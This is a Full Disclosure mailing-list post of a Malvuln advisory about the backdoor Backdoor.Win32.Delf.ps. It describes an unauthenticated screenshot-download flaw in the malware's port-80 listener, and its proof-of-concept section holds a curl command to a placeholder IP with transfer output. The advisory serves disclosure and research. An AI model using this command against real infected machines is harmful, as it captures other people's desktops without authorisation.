full-disclosure - [FD] Backdoor.Win32.Delf.ps / Information Disclosure

Open Source and information security mailing list archives

Message-ID: <CAAHK0WRb8uTTy=wckGaPUuoHpuupJS1EhSaeeEV_22+M9vp=CA@mail.gmail.com>
Date: Sat, 2 Apr 2022 20:55:02 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Delf.ps / Information Disclosure

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/cf3c08afa6c2d49ba36ed0f895893d71.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.ps
Vulnerability: Information Disclosure
Description: The malware listens on TCP port 80. Third-party adversaries
who can reach an infected host can generate and download screenshots of the
systems desktop.
Family: Delf
Type: PE32
MD5: cf3c08afa6c2d49ba36ed0f895893d71
Vuln ID: MVID-2022-0532
Disclosure: 04/02/2022

Exploit/PoC:
C:\>curl http://x.x.x.x:80 > screenshot.jpg
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100  280k    0  280k    0     0   280k      0 --:--:-- --:--:-- --:--:--
2577k

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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